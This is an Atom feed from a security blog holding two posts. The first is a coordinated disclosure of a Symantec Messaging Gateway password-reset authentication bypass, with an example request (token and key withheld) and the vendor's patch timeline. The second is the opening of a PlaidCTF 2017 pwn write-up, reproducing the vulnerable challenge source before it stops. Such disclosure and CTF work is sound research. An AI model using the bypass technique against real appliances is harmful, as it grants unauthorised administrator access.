<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <generator uri="http://jekyllrb.com" version="3.7.4">Jekyll</generator>
  
  
  <link href="https://artkond.com/feed.xml" rel="self" type="application/atom+xml" />
  <link href="https://artkond.com/" rel="alternate" type="text/html" hreflang="en" />
  <updated>2018-10-10T15:21:42+00:00</updated>
  <id>https://artkond.com//</id>

  
    <title type="html">Artem Kondratenko</title>
  

  
    <subtitle>Security Notes</subtitle>
  

  
    <author>
        <name>Artem Kondratenko</name>
      
      
    </author>
  

  
  
    <entry>
      
      <title type="html">Symantec Messaging Gateway authentication bypass</title>
      
      <link href="https://artkond.com/2018/10/10/symantec-authentication-bypass/" rel="alternate" type="text/html" title="Symantec Messaging Gateway authentication bypass" />
      <published>2018-10-10T00:00:00+00:00</published>
      <updated>2018-10-10T00:00:00+00:00</updated>
      <id>https://artkond.com/2018/10/10/symantec-authentication-bypass</id>
      <content type="html" xml:base="https://artkond.com/2018/10/10/symantec-authentication-bypass/">&lt;p&gt;When conducting security assessments sometimes there is no quick way past external perimeter of the customer’s network. As a last resort option one may commit to an extensive research of the few software appliances the client has exposed. This approach will often yield results, as it was the case with Symantec Messaging Gateway.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/symantec_2018/symantec_login.png&quot; alt=&quot;Symantec Messaging Gateway&quot; /&gt;
&lt;!-- more --&gt;&lt;/p&gt;

&lt;p&gt;Like in most login interfaces a password reset feature is present. “Forgot password” link appears after unsuccessful login attempt. The username is prompted afterwards. What happens under the hood is that SMG creates a password reset link. It puts an encrypted token in the link in order to make sure that the password is reset by the genuine owner of the account.&lt;/p&gt;

&lt;p&gt;That’s where the vulnerability is present. The string format of the token before encryption is “username:password”. Sounds fair enough as this enables SMG to check the token against a valid user password. Incidentally, when we tried “admin:” for a token, the system behaved in an unusual way. It generated a valid administrator session!&lt;/p&gt;

&lt;p&gt;Of course the token is encrypted, so how do we get the key? Luckily there has been a previous research for a similar &lt;a href=&quot;https://seclists.org/fulldisclosure/2017/Aug/28&quot;&gt;bug&lt;/a&gt; in Symantec Gateway. Philip Pettersson found an authentication bypass that encrypted a parameter in a similar manner. He talks about a hardcoded key:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Fortunately, the encryption is just PBEWithMD5AndDES using a static password, 
conveniently included in the code itself. I won't include the encryption password 
or a fully encrypted notify string in this post.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Indeed, the key is static across SMG installations. We won’t disclose the key in this post. If one encrypts the following string - “admin:” and passes it as a value for GET parameter “authorization” he will receive a valid admin session. Example request:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /brightmail/action2.do?method=passwordReset&amp;amp;authorization=&amp;lt;..&amp;gt;%3d HTTP/1.1
Host: 192.168.17.15
Connection: close
Cache-Control: max-age=0
Origin: https://192.168.17.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Expected response:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Cache-Control: no-store,no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Frame-Options: SAMEORIGIN
Set-Cookie: JSESSIONID=97B8786DB8CC163EB2A4C595D1028E1D; Path=/brightmail; Secure; HttpOnly
Location: /brightmail/viewWelcome.do?userID=1
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Connection: close
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/symantec_2018/symantec_burp1.png&quot; alt=&quot;Symantec Messaging Gateway&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Surely enough the cookie generated is a valid administrator session:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/symantec_2018/symantec_admin_login.png&quot; alt=&quot;Symantec Messaging Gateway Admin Login&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To our knowledge the vulnerability is only present if the password reset feature is enabled in the appliance. At the time of testing the vulnerable version was 10.6.5. Symantec has released an advisory for this issue:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.symantec.com/en_US/article.SYMSA1461.html&quot;&gt;https://support.symantec.com/en_US/article.SYMSA1461.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Vendor contacted - 11/07/2018&lt;/li&gt;
  &lt;li&gt;Vendor assigned Tracking ID - 11/07/2018&lt;/li&gt;
  &lt;li&gt;Vendor published vulnerability advisory, patched software versions released - 12/09/2018&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We would like to thank Symantec for their prompt response and professionalism in dealing with the vulnerability.&lt;/p&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">When conducting security assessments sometimes there is no quick way past external perimeter of the customer’s network. As a last resort option one may commit to an extensive research of the few software appliances the client has exposed. This approach will often yield results, as it was the case with Symantec Messaging Gateway.</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">PlaidCTF 2017 “bigpicture” write-up (pwn 200)</title>
      
      <link href="https://artkond.com/2017/04/24/plaidctf-2017-bigpicture/" rel="alternate" type="text/html" title="PlaidCTF 2017 &quot;bigpicture&quot; write-up (pwn 200)" />
      <published>2017-04-24T00:00:00+00:00</published>
      <updated>2017-04-24T00:00:00+00:00</updated>
      <id>https://artkond.com/2017/04/24/plaidctf-2017-bigpicture</id>
      <content type="html" xml:base="https://artkond.com/2017/04/24/plaidctf-2017-bigpicture/">&lt;p&gt;Task description:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Size matters!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We’re presented with a x86_64 ELF binary, libc it’s using and the source code.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nc bigpicture.chal.pwning.xxx 420 
Let's draw a picture!
How big?  1 x 1
&amp;gt; 0 , 0 , A 
&amp;gt; q
A
Bye!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;!-- more --&gt;

&lt;p&gt;The source:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;draw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;setbuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;setbuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;setbuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stderr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;alarm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Let's draw a picture!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;fputs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;How big? &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;scanf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; %d x %d&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;calloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;malloc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;fputs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scanf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; %d , %d , %c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scanf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; quit%c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;draw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Bye!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;plot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;width&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;out of bounds!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;overwriting %c!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;draw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;' '&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;putchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;putchar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sc&quot;&gt;'\n'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a plot drawing binary. You enter the matrix size and fill it up with characters. At the end the resulting matrix is printed back to you. The program allocates &lt;code class=&quot;highlighter-rouge&quot;&gt;width * height&lt;/code&gt; bytes on the heap to store plot values.&lt;/p&gt;

&lt;p&gt;The actual vulnerability is in the &lt;code class=&quot;highlighter-rouge&quot;&gt;plot&lt;/code&gt; function:&lt;/p&gt;
